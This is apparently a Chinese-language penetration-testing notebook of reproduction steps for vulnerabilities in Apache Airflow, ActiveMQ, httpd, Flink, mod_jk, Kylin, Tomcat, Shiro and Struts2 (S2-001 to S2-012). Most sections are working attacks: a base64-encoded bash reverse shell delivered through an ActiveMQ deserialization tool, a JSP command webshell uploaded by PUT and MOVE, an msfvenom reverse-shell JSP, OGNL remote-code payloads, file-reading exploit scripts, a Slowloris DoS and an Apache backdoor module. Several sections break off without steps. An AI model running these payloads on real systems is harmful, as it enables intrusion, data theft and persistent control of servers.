Airflow 存储型XSS
漏洞描述
Apache Airflow 1.10.2
及之前版本的airflow webserver
服务存在XSS
漏洞,原因在于`WEB应用未对客户端数据进行正确验证,导致攻击者可利用该漏洞执行客户端代码。
影响版本
Apache Airflow 1.10.3
以下版本。
漏洞复现
访问/admin/dagrun/
(默认不需要密码)。
创建一个项目,输入ID
后点击保存,返回列表,点击running
字样,发现能够输入HTML
代码,例:
<script>_a="https://www.baidu.com"</script>
<script>document.location=_a</script>
能直接造成存储型XSS
。
ActiveMQ 反序列化漏洞 CVE-2015-5254
漏洞描述
Apache ActiveMQ
是Apache
软件经济会研发的一套开源消息中间件,支持Java
消息服务、集群、Spring Framework
等。Apache ActiveMQ 5.13.0
之前版本,即5.x
版本中存在反序列化漏洞,漏洞源于程序没有限制可在代理中序列化的类,攻击者通过借助特制序列化Java消息服务(JMS) ObjectMessage
对象实现任意代码执行。
影响版本
Apache ActiveMQ 5.13.0
之前的5.x
版本。
复现思路
1.构造(可使用ysoserial
)可执行命令的序列化对象。
2.作为一个消息,发送给目标对应端口。
3.访问Web
管理页面,读取消息,触发漏洞。
漏洞复现
使用jmet
进行漏洞利用:ianxtianxt/jmet: Java Message Exploitation Tool (github.com)
下载好之后在
jmet-0.1.0-all.jar
同级目录下创建external
文件夹,避免出现文件夹不存在的报错。
jmet
的原理是使用jar包内置ysoserial
生成Payload
并发送,我们需要在ysoserial
的gadget
选择一个可使用的,如ROME
。
给目标ActiveMQ
添加一个名为event
的队列,点击事件为生成/tmp/vuln
文件:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/vuln" -Yp ROME <ip> <port>
# 命令执行成功后回显如下
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:<server-id>
INFO d.c.j.t.JMSTarget [main] Sent gadget "ROME" with command: "touch /tmp/vuln"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:<server-id>
访问http://<ip>:<port>/admin/browse.jsp?JMSDestination=event
查看消息队列,访问页面需要登录,默认账密如下:
admin/admin
点击页面Message ID
下的ID:server-id
字段触发文件创建命令,在受害端查看命令是否执行成功:
ls /tmp
确认/tmp/vuln
文件存在后即可进一步创建反弹shell
。
bash -i >& /dev/tcp/<ip>/<port> 0>&1
# Base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}
# 发送payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME <ip> <port>
# INFO如下
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:<server-id>
INFO d.c.j.t.JMSTarget [main] Sent gadget "ROME" with command: "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNi4yMzMuNzYvODg4MyAwPiYx}|{base64,-d}|{bash,-i}"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:<server-id>
执行成功后,在监听端打开nc
:
nc -lvvp <port>
继续到http://<ip>:<port>/admin/browse.jsp?JMSDestination=event
页面,点击字段触发反弹shell
,成功连接。
ActiveMQ 任意文件写入漏洞 CVE-2016-3088
漏洞描述
ActiveMQ
中的FileServer
服务允许用户通过PUT
方法上传文件到指定目录。FileServer
是存储文件的接口,支持写入文件(不解析jsp
)、移动文件(Move
)。
影响版本
ActiveMQ 5.x ~ 5.14.0
,但在5.12.x ~ 5.13.x
版本中默认关闭fileserver应用
(可在conf/jetty.xml
中开启)。在5.14.0
版本后fileserver
应用被彻底删除。
复现思路
1.PUT
一个webshell
到fileserver
目录。
2.若不能执行则移动webshell
到有权限目录。
漏洞复现
访问http://<ip>:8161
,先登录,默认账密:
admin/admin
使用bp
构造如下请求包:
PUT /fileserver/a.jsp HTTP/1.1
Host: <ip>:<port>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Connection: close
Content-Length: 349
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd = request.getParameter("cmd");
String line = null;
Process p = Runtime.getRuntime().exec(strcmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line = br.readLine()) != null){
out.print(line + "</br>");
}
%>
响应包如下:
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
查看webshell
能否执行:http://<ip>:<ip>/fileserver/a.jsp
,发现文件原样输出,没有被解析,当前目录没有执行权限。所以需要考虑移动文件至/webapps/api
或/webapps/admin
可解析jsp
的目录下。
要移动文件,必然就需要路径,以下为两种获取路径的方法:
1.访问http://<ip>:8161admin/test/systemProperties.jsp
2.构造错误上传路径,爆出绝对路径,如:
PUT /fileserver/a/b HTTP/1.1
实测ActiveMQ 5.11.1
版本无法利用。
使用第一种方法,查看到文件路径为root/apache-activemq-5.11.1
,下面把a.jsp
文件移动到/webapps/admin
目录下,构造包如下:
MOVE /fileserver/a.jsp HTTP/1.1
Destination: file:///root/apache-activemq-5.11.1/webapps/admin/a.jsp
Host: <ip>:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
响应包如下:
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
此时我们就可以使用webshell
了:http://<ip>:8161/admin/a.jsp?cmd=ls
。
DDOS CVE-2007-6750
漏洞描述
Apache HTTP服务器2.2.15
之前版本中缺少mod_ReqTimeout
模块,1.x
和2.x
版本允许远程攻击者通过部分HTTP
请求造成拒绝服务(守护进程中断),如Slowloris
。
影响版本
Apache 1.x ~ 2.x
复现思路
1.检查存活。
2.msf
进一步验证。
漏洞复现
首先使用nmap
查看Apache
版本:
nmap -sV -p80 <ip>
然后进一步访问网页,查看网页是否正常。
使用msf执行攻击:
msfconsole # 启动metasploit
use auxiliary/dos/http/slowloris # 使用模块
set RHOST <ip> # 设置目标IP
run # 执行攻击
HTTPd 多后缀解析漏洞
漏洞描述
Apache HTTPD
支持一个文件拥有多个后缀并根据不同后缀执行不同指令,示例配置文件如下:
AddType text/html .html
AddLanguage zh-CN .cn
配置文件给.html
后缀增加了media-type
,值为text/html
;给.cn
后缀增加了语言,值为zh-CN
。此时,若用户请求文件index.cn.html
,服务器将返回一个中文html
页面。这就是Apache
多后缀特性。
若运维人员给.php
后缀增加了处理器:
AddHandler application/x-httpd-php .php
在有多个后缀的情况下,只要一个文件含有.php
后缀,那么其将被识别为php
文件,利用这个特性我们就可以构造绕过上传限制的解析漏洞。
复现思路
修改文件名为xxx.php.jpg
绕过文件上传限制。
漏洞复现
git clone https://github.com/vulhub/vulhub.git
cd vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
首先正常上传一个php
文件,显示文件类型不支持
报错。
将文件后缀改为xxx.php.jpg
,成功上传并获取文件路径,访问即可。
HTTPd 换行解析漏洞 CVE-2017-15715
漏洞描述
Apache HTTPd
是一款HTTP
服务器,可以通过mod_php
来运行PHP
网页。其2.4.0 ~ 2.4.29
版本存在一个解析漏洞,在解析PHP
时,1.php\x0A
将被按照PHP
后缀进行解析,能够绕过一些服务器的安全策略。
影响版本
Apache HTTPd 2.4.0 ~ 2.4.29
复现思路
抓包给文件后缀加上0a
换行符。
漏洞复现
环境搭建:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/httpd/CVE-2017-15715
docker-compose up -d
直接点击上传文件会被拦截,查看配置文件如下:
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes
AllowOverride All
</Directory>
前三行配置是将以.php
为后缀的文件内容当作PHP
代码进行解析,但使用了$
进行文件匹配。
$
在正则表达式中是匹配字符串中结尾的位置,若存在换行符,则匹配换行符为结尾,可以通过这个缺陷绕过黑名单机制实现文件上传。
抓包发送至Repeater
模块,在文件后缀加上%0a
绕过限制,上传成功,访问http://<ip>:<port>/test.php%0a
成功触发解析漏洞。
Flink 目录遍历漏洞 CVE-2020-17519
漏洞描述
远程攻击者通过REST API
目录遍历,可造成文件读写的影响。
影响版本
Apache Flink 1.11.0 ~ 1.11.2
复现思路
漏洞复现
FOFA
:app="Apache Flink"
环境搭建:vulhub/flink/CVE-2020-17519 at master · vulhub/vulhub (github.com)
POC
:
http://<ip>/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
漏洞利用POC
:
import requests
import sys
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Flink 1.11.0-1.11.2 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2020-17519.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mFile >>> /etc/passwd \033[0m')
print('+------------------------------------------')
def POC_1(target_url, file_name):
file_name = file_name.replace("/", "%252f")
vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
if "root" in response.text:
print("\033[32m[o] 目标 {} 存在漏洞,成功读取 /etc/passwd ,响应为:\n{}\033[0m".format(target_url, response.text))
else:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
sys.exit(0)
def POC_2(target_url, file_name):
file_name_re = file_name.replace("/", "%252f")
vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name_re)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
if "error" not in response.text:
print("\033[32m[o] 目标 {} 存在漏洞,成功读取 {} ,响应为:\n{}\033[0m".format(target_url, file_name, response.text))
else:
print("\033[31m[x] 目标文件{}读取失败\033[0m".format(file_name))
except Exception as e:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
file_name = "/etc/passwd"
POC_1(target_url, file_name)
while True:
file_name = input("\033[35mFile >>> \033[0m")
if file_name == "exit":
sys.exit(0)
else:
POC_2(target_url, file_name)
使用方式:python3 poc.py
Url >>>
:<ip>:<port>
File >>>
:/etc/hosts
后门维持
漏洞描述
通过第三方脚本实现维持后门。
复现思路
1.上传文件
2.重启服务
3.执行脚本
漏洞复现
工具下载:ianxtianxt/apache-: apache权限维持后门 (github.com)
1.上传mod_backdoor.c到服务器,并执行命令:
apxs -i -a -c mod_backdoor.c && service apache2 restart
2.控制端执行脚本:
python exploit.py <ip> 80
Mod_jk 访问控制权限绕过 CVE-2018-11759
漏洞描述
Apache Tomcat JK(mod_jk) Connector
是Apache
软件基金会为Apache
或IIS
提供连接后台Tomcat
的模块,为Apache
或IIS
服务器提供处理JSP/Servlet
的能力。
由于httpd
和Tomcat
在路径处理规范上存在差异,httpd
将url
中的分号视作路径解析中的普通字符,而Tomcat
将其当作查询分隔符(类似"?")。如,攻击者获取到路径:http://server/java_app/.. ;
,对httpd
来说,这并不会触发服务器并跳转到相应目录,仅仅被原封不动转发到Tomcat
,且地址尾部被解析为.. *
。这就允许攻击者获取到本不能在Tomcat
访问的资源。
jkstatus
是mod_jk
模块的管理界面,设为读写权限时,允许配置AJP
连接Java Web
服务器代理HTTP请求
,我们可以绕过Apache mod_jk Connector
由JkMount httpd
指令所定义端点的访问控制限制。如果能访问一个只有只读权限的jkstatus
的接口,那么就有可能能够公开由mod_jk
模块给AJP
提供服务的内部路由。 如果能访问一个具有读写权限的jkstatus
接口,我们就能通过修改AJP
的配置文件中相关配置来劫持或者截断所有经过mod_jk
的流量,或者进行内部端口扫描。
影响版本
Apache Mod_jk Connector 1.2.0 ~ 1.2.44
漏洞复现
环境搭建:
git clone https://github.com/immunIT/CVE-2018-11759.git
docker-compose up -d
访问http://<ip>:80
成功后,访问http://<ip>:80/jkstatus
,显示无权限,通常使用如下httpd指令限制对jkstatus的访问:
<Location /jkstatus>
JKMount jk-status
Require ip 127.0.0.1
</Location>
在URL
后加一个分号即可绕过限制,http://<ip>:80/jkstatus;
。
我们还可在分号之后提交GET参数,向jkstatus请求修改其访问权限的配置,如:http://<ip>:80/jkstatus;?cmd=dump
。
参数若能被解析,其产生的影响就等同于更改工作人员使用的端口来实现对所有由mod_jk
供应的应用程序拒绝服务的效果,此外,若攻击者将相应AJP
连接到自己的服务器上,就可能劫持所有到由mod_jk
供应服务的Web应用
的流量。
从理论上说,将AJP
的目标和端口修改为内部主机及其对应端口后,由于httpd
和Tomcat
的jkstatus
返回错误信息不一致,我们能进行内部TCP
端口扫描,具体情况取决于提交的AJP
端口是否有效。
Kylin Console 控制台弱口令
漏洞描述
默认账密admin/KYLIN
。
影响版本
Apache Kylin
漏洞复现
打开站点输入默认账密。
Kylin 未授权配置泄露 CVE-2020-13937
漏洞描述
Apache Kylin
有一个restful api
会在没有任何认证的情况下暴露配置信息。
影响版本
Apahche Kylin 2.x.x
Apahche Kylin <= 3.1.0
Apahche Kylin 4.0.0-alpha
漏洞复现
POC
:http://<ip>/kylin/api/admin/config
漏洞检测POC
:
import requests
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Kylin 2.x.x <= 3.1.0 Kylin 4.0.0-alpha \033[0m')
print('+ \033[36m使用格式: python3 cve-2019-13937.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:9999 \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/kylin/api/admin/config"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
}
try:
response = requests.get(url=vuln_url, headers=headers, timeout=20)
if "config" in response.text:
print("\033[32m[o] 存在Apache Kylin的未授权配置泄露\n[o] 响应为:\n\033[0m",response.text)
else:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
except:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
RCE CVE-2017-12615
漏洞描述
conf/web.xml
文件配置错误中的readonly
参数默认为false
,攻击者可以使用PUT/DELETE
请求方法操作文件。如通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP
文件,JSP
文件中的恶意代码将能被服务器执行,导致服务器数据泄露或获取服务器权限。
影响版本
Apache Tomcat 7.0.0 ~ 7.0.81
复现思路
1.msf
生成jsp
马
2.PUT
上传文件
漏洞复现
环境搭建:
gitclone https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
msf
生成jsp
马:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp
PUT
上传jsp
马:
curl -v -X PUT --data-binary @shell.jsp "http://<ip>:<port>/shell.jsp/"
Shiro 反序列化漏洞 CVE-2016-4437
漏洞描述
Apache Shiro
是一款开源的安全框架,提供身份验证、授权、密码学及会话管理功能。Shiro
框架直观易用,也能提供健壮的安全性。Apache Shiro 1.2.4
及之前版本中,加密的用户信息序列化后存放在名为remember-me
的Cookie
中,攻击者可以使用Shiro
的默认密钥来伪造用户Cookie
触发反序列化漏洞,进行在目标机器执行任意命令。
影响版本
Apach Shiro <= 1.2.4
复现思路
漏洞复现
环境复现:
https://github.com/vulhub/vulhub.git
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
Struts2 S2-001 表单验证错误远程利用 CVE-2007-4556
漏洞描述
S2-001 - Apache Struts 2 Wiki - Apache Software Foundation
用户提交表单数据失败时,后端会将用户之前提交的参数值使用OGNL
表达式%{value}
进行解析,然后重新填充到对应表单数据中。
影响版本
Apache Struts 2.0.0 ~ 2.0.8
漏洞复现
环境搭建:
gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-001
docker-compose up -d
在用户名处输入如下POC
:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
密码随便输。
成功执行id
命令,可以在new java.lang.String[]{"<command>"}
中的<command>
输入想执行的命令。
Struts2 S2-002 <s: url>和<s: a>标记上的XSS漏洞
漏洞描述
S2-002 - Apache Struts 2 Wiki - Apache Software Foundation
对于<s:url>
和<s:a>
标签,可以在构造和呈现标签的结果URL
时注入不能正确转义的参数值。如:
构造<s:a>
结果中包含的参数值可以注入未转义的双引号,从而可以通过转义已渲染的href
属性来在生成的HTML
中注入代码。
当includeParams
设置为none
的任何其他值时,<s:url>
和<s:a>
标签无法转义<script>
标签,可以通过使用GET
参数调用包含JSP /
动作来利用
影响版本
Struts2 2.0.0 ~ 2.0.11
漏洞复现
POC
:
http://<ip>:<port>/index.action?"><script>alert(1)</script><"
http://<ip>:<port>/index.action?<script>alert(1)</script>test=hello
Struts2 S2-003 XWork ParameterInterceptors旁路允许OGNL语句执行 CVE-2008-6504
漏洞描述
S2-003 - Apache Struts 2 Wiki - Apache Software Foundation
OGNL
提供了广泛的表达式评估功能,可以使攻击者绕过ParameterInterceptor
内置的#
使用保护,从而能够操纵服务器端上下文对象。
如,要将#session.user
设置为oopsdc
,可以使用以下参数名称:
('\ u0023'+'session 'user ' ')(未使用)= oopsdc
经URL编码
后会如此显示:
('\ u0023'%20%2b%20'session 'user \ '))(未使用)= oopsdc
影响版本
Structs 2.0.0 ~ 2.0.11.2
漏洞复现
S2-003
算是S2-005
的前身,其POC
为S2-005
的缩小版,因为S2-003
之后官方修改了安全配置,默认让SecurityMemberAccess
(管理OGNL
权限的类)的allowStaticMethodAccessz
值为false
。
这里把S2-005
的POC
去掉&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)
这句话。
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
测试URL
:
http://<ip>:8080/showcase.action
修改后URL
:
http://<ip>:<port>/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
直接执行ipconfig
命令。
Struts2 S2-004 提供静态内容时的目录遍历漏洞 CVE-2008-6505
漏洞描述
S2-004 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-005 XWork ParameterInterceptors旁路允许RCE
漏洞描述
S2-005 - Apache Struts 2 Wiki - Apache Software Foundation
通过unicode
编码\u0023
绕过struts
对#
的过滤,再通过设置xwork.MethodAccessor.denyMethodExecution
为false
、memberAccess.allowStaticMethodAccess
为true
来绕过沙盒。
影响版本
Apache Struts 2.0.0 ~ 2.1.8.1
漏洞复现
环境搭建:
gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-005
docker-compose up -d
POC
:
/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%[email protected]@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%[email protected]@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%[email protected]@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29
更改POC
中的id
值就能执行任意指令。
Struts2 S2-006 XWork的多个XSS生成错误页面
漏洞描述
S2-006 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-007 出现转换错误时,用户输入被评估为OGNL表达式 CVE-2012-0838
漏洞描述
S2-007 - Apache Struts 2 Wiki - Apache Software Foundation
当项目配置了验证规则、类型转换出错时,会造成错误的字符串拼接,进而造成了OGNL
语句的执行。后端用代码拼接 "'" + value + "'"
并对其进行 OGNL
表达式解析,类似SQL注入
单引号闭合,官方修复时使用escape
对单引号转义,也跟SQL注入
比较相似,。
影响版本
Apache Structs 2.0.0 ~ 2.2.3
漏洞复现
环境搭建:
gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-007
docker-compose up -d
# 我默认进入路径显示404,使用如下路径即可
# http://<ip>:<port>/index.jsp
随便给name
、email
两个属性赋值,age
使用如下Payload
,bp
抓取提交后的请求包,发送到Repeater
模块:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
在响应包中查看age
的input
标签,值就是我们执行的id
命令的结果。
<input type="text" name="age" value="uid=0(root) gid=0(root) groups=0(root)
" id="user_age"/>
Structs2 S2-008 Struts2中的多个关键漏洞 CVE-2012-0391
漏洞描述
S2-008 - Apache Struts 2 Wiki - Apache Software Foundation
漏洞主要利用系统未对传入参数进行严格限制的缺陷,导致多个地方可执行恶意代码。
第一种情况是S2-007
,在异常处理时的OGNL
执行。
第二种情况是cookie
,虽然Struts2
没有对恶意代码进行限制,但Java
的webserver(Tomcat)
对cookie
名称有较多限制,在传入Struts2
之前就被处理。
第三种情况需要开启devModedebug
模式。
影响版本
Apache Struts 2.1.0 ~ 2.3.1
复现思路
第三种情况,使用devMode
的debug
模式造成任意代码执行。
漏洞复现
环境搭建:
gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-008
docker-compose up -d
POC
:
http://<ip>:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
回显为null
。
http://<ip>:8080/S2-008/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29
成功执行id
命令。
Struts2 S2-009 ParameterIntercetptor远程命令执行漏洞
漏洞描述
S2-009 - Apache Struts 2 Wiki - Apache Software Foundation
跟S2-003
、S2-005
属于同一种类型,Structs2
对S2-003
的修复方法是禁止#
号,S2-005
通过使用编码\u0023
或\43
绕过。Struts2
对S2-005
的修复方法是禁止\
等特殊符号。
但如果当前action
中接受了某个参数example
,这个参数将进入OGNL
的上下文。所以我们可将OGNL
表达式放在example
参数中,然后使用/HelloWorld.action?example=&(example)('xxx')=1
的方法来执行,绕过官方的限制。
影响版本
Apache Structs 2.1.0 ~ 2.3.1.1
漏洞复现
环境搭建:
gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-009
docker-compose up -d
POC
:
http://<ip>:<port>/ajax/example5?age=123&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
在服务器创建/tmp/success
文件,无回显。
http://<ip>:<port>/ajax/example5.action?age=123&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
执行ls
命令并下载结果文件。
Struts S2-010 使用Struts2令牌机制进行CSRF保护时,可能会因滥用已知会话属性绕过检查
漏洞描述
S2-010 - Apache Struts 2 Wiki - Apache Software Foundation
影响版本
Apache Struts 2.0.0 ~ 2.3.4
Struts2 S2-011 长请求参数名称可能会显著提高DOS攻击有效性
漏洞描述
S2-011 - Apache Struts 2 Wiki - Apache Software Foundation
影响版本
Apache Struts 2.0.0 ~ 2.3.4
Struts2 S2-012 展示应用程序漏洞允许远程命令执行 CVE-2013-1965
漏洞描述
S2-012 - Apache Struts 2 Wiki - Apache Software Foundation
若在配置Action
中Result
使用了重定向类型,且使用${param_name}
作为重定向变量,如:
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
UserAction
中定义了一个name
变量,当触发redirect
类型返回时,Structs2
获取使用${name}
获取它的值,在这个过程中会对name
参数的值执行OGNL
表达式解析导致可以插入任意OGNL
表达式导致命令执行。
影响版本
Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2
